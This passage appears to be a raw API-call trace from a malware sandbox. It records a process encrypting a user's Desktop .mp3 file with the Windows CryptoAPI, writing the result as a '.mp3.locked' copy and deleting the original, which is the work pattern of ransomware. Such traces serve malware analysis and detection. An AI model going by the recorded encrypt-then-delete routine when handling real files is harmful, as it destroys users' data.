qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0127.452] GetFileType (hFile=0x858) returned 0x1 [0127.452] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf10) returned 1 [0127.452] GetFileType (hFile=0x858) returned 0x1 [0127.452] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.452] CryptGenRandom (in: hProv=0x8e022d8, dwLen=0x10, pbBuffer=0x6a768bc | out: pbBuffer=0x6a768bc) returned 1 [0127.453] CryptContextAddRef (hProv=0x8e022d8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.453] CryptDuplicateKey (in: hKey=0x8e84a38, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae64c | out: phKey=0x99ae64c*=0x8e84e78) returned 1 [0127.453] CryptContextAddRef (hProv=0x8e022d8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.453] CryptSetKeyParam (hKey=0x8e84e78, dwParam=0x4, pbData=0x6a77b78*=0x1, dwFlags=0x0) returned 1 [0127.453] CryptSetKeyParam (hKey=0x8e84e78, dwParam=0x1, pbData=0x6a77b44, dwFlags=0x0) returned 1 [0127.454] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="\xe280\x99a\x18b2\x7477\xb40\x438\x24a") returned 0x0 [0127.454] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.454] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.454] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.455] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.455] ReadFile (in: hFile=0x868, lpBuffer=0x6a7b0d4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae65c, lpOverlapped=0x0 | out: lpBuffer=0x6a7b0d4*, lpNumberOfBytesRead=0x99ae65c*=0xc170, lpOverlapped=0x0) returned 1 [0127.456] CryptEncrypt (in: hKey=0x8e84e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a8f0e0*, pdwDataLen=0x99ae650*=0xc170, dwBufLen=0xc170 | out: pbData=0x6a8f0e0*, pdwDataLen=0x99ae650*=0xc170) returned 1 [0127.456] WriteFile (in: hFile=0x858, lpBuffer=0x6a7697c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae634, lpOverlapped=0x0 | out: lpBuffer=0x6a7697c*, lpNumberOfBytesWritten=0x99ae634*=0x1000, lpOverlapped=0x0) returned 1 [0127.457] WriteFile (in: hFile=0x858, lpBuffer=0x6a900cc*, nNumberOfBytesToWrite=0xb184, lpNumberOfBytesWritten=0x99ae634, lpOverlapped=0x0 | out: lpBuffer=0x6a900cc*, lpNumberOfBytesWritten=0x99ae634*=0xb184, lpOverlapped=0x0) returned 1 [0127.458] ReadFile (in: hFile=0x868, lpBuffer=0x6a7b0d4, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae65c, lpOverlapped=0x0 | out: lpBuffer=0x6a7b0d4*, lpNumberOfBytesRead=0x99ae65c*=0x0, lpOverlapped=0x0) returned 1 [0127.458] CryptEncrypt (in: hKey=0x8e84e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a9b274*, pdwDataLen=0x99ae6a4*=0x10, dwBufLen=0x10 | out: pbData=0x6a9b274*, pdwDataLen=0x99ae6a4*=0x10) returned 1 [0127.458] CryptEncrypt (in: hKey=0x8e84e78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a9b2a8*, pdwDataLen=0x99ae6ac*=0x0, dwBufLen=0x10 | out: pbData=0x6a9b2a8*, pdwDataLen=0x99ae6ac*=0x10) returned 1 [0127.458] WriteFile (in: hFile=0x858, lpBuffer=0x6a7697c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae67c, lpOverlapped=0x0 | out: lpBuffer=0x6a7697c*, lpNumberOfBytesWritten=0x99ae67c*=0x10, lpOverlapped=0x0) returned 1 [0127.459] CloseHandle (hObject=0x858) returned 1 [0127.461] CloseHandle (hObject=0x868) returned 1 [0127.462] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.462] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.462] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.462] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.462] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.463] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3")) returned 0x20 [0127.464] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99ade54, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.464] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.464] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.464] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.464] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.464] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.464] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.465] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.465] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.465] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.465] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.465] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.465] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.465] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.465] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.465] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.465] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.465] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11")) returned 0x10 [0127.466] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11")) returned 0x10 [0127.466] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", nBufferLength=0x105, lpBuffer=0x99addd8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", lpFilePart=0x0) returned 0x32 [0127.466] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\.", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11", lpFilePart=0x0) returned 0x32 [0127.466] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3")) returned 0x20 [0127.466] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99adddc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.466] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99add70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.467] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99adf18, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae3d8) returned 1 [0127.467] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99adee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.467] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3\\", nBufferLength=0x105, lpBuffer=0x99adeb4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3\\", lpFilePart=0x0) returned 0x4a [0127.467] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3\\*", lpFindFileData=0x99ae100 | out: lpFindFileData=0x99ae100) returned 0xffffffff [0127.467] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae39c) returned 1 [0127.467] CoTaskMemAlloc (cb=0x404) returned 0x8ebb8c8 [0127.467] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8ebb8c8, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0127.467] CoTaskMemFree (pv=0x8ebb8c8) [0127.468] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3")) returned 0x20 [0127.469] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99adea4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.469] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99ade20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae2fc) returned 1 [0127.469] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3"), fInfoLevelId=0x0, lpFileInformation=0x6ab1998 | out: lpFileInformation=0x6ab1998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42edea0, ftCreationTime.dwHighDateTime=0x1d4a9f1, ftLastAccessTime.dwLowDateTime=0x71776350, ftLastAccessTime.dwHighDateTime=0x1d49f1b, ftLastWriteTime.dwLowDateTime=0x71776350, ftLastWriteTime.dwHighDateTime=0x1d49f1b, nFileSizeHigh=0x0, nFileSizeLow=0xc170)) returned 1 [0127.469] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae2f8) returned 1 [0127.469] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3")) returned 1 [0127.471] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.472] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="渀ࣧ") returned 0x0 [0127.472] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.472] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.472] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.474] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3.locked")) returned 0x20 [0127.474] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\wh qlgcuowqq63xpjg11\\x_oeu7-hettbjy_tii.mp3.locked")) returned 0x20 [0127.474] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3.locked", nBufferLength=0x105, lpBuffer=0x99adf0c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3.locked", lpFilePart=0x0) returned 0x50 [0127.474] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3.locked", nBufferLength=0x105, lpBuffer=0x99aded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3.locked", lpFilePart=0x0) returned 0x50 [0127.474] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.475] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", nBufferLength=0x105, lpBuffer=0x99ae14c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\WH QLGCUOwQQ63XPJG11\\x_Oeu7-HEttBJy_TIi.mp3", lpFilePart=0x0) returned 0x49 [0127.475] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.475] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.475] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.475] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.478] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.478] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.479] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae62c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.479] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae58c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae58c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfe, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.479] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae61c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.481] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5b8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5b8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xff, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.481] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae254, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.482] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae62c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, 